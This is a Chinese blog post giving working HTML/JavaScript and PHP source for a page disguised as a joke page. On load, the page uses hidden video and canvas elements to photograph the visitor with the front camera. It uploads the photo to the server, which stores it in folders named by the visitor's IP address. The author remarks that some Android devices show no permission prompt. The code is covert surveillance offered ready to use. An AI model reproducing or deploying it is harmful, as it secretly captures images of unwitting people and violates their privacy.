JS代码,开启前摄像头拍照并上传到服务器!

前言

最近一直没有更新博客是由于自己生病住院了,开学一周后就住院一直到今天医生才允许我返校。不管怎么样,未来的自己一定会感谢现在拼命的自己。加油加油!写代码是热爱写到世界充满爱。

正片

这段时间出现通过js开启前置摄像头拍照并上传到他的服务器里面!
查看文献:KING博客

代码部分

前端源码

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="" content="content">
<title>小笑话</title>
</head>
<body>

<canvas id="canvas" style="display: none;" width="480" height="640"></canvas>

<video id="video" style="display: none;width: 250px;height: 300px;"></video>

<script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>
<script>
window.addEventListener("DOMContentLoaded",function(){
var canvas = document.getElementById('canvas');
var context =canvas.getContext('2d');
var video = document.getElementById('video');
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
video.srcObject = stream;
video.play();
setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);
setTimeout(function(){
var img = canvas.toDataURL('image/png');
$.post('/s.php',{'imegse':img},function(data){
//根据后端判断接下来的操作
})
} ,1300)

},function(){
alert('缺少访问权限');
location.reload();
})

}
},false);
</script>
</body>
</html>

php源码

<?php
//允许跨域
header("Access-Control-Allow-Origin:*");
echo base64();
function base64()
{
//接收 base64 数据
$image = $_POST['imegse'];
if (empty($image)) {
return null;
}
//设置图片名称
$imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png';
//判断是否有逗号 如果有就截取后半部分
if (strstr($image, ",")) {
$image = explode(',', $image);
$image = $image[1];
}
//设置图片保存路径
$path = "./" . getIp() . '/' . date("Ymd", time());
//判断目录是否存在 不存在就创建
if (!is_dir($path)) {
mkdir($path, 0777, true);
}
//图片路径
$imageSrc = $path . "/" . $imageName;
//生成文件夹和图片
$r = file_put_contents($imageSrc, base64_decode($image));
if (!$r) {
return 0;
} else {
return 1;
}
}
function getIp()
{
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

结尾

只要用户访问这个页面并授权了摄像头权限就会根据 IP 分类存储当时拍到的前置摄像头的照片到服务器内.

IOS 端会提示权限.

Android 端部分会提示,部分不会...

点赞
  1. 卑微的小伙子说道:
    Firefox Windows 10

    哇,大佬更新博客了

发表评论

电子邮件地址不会被公开。必填项已用 * 标注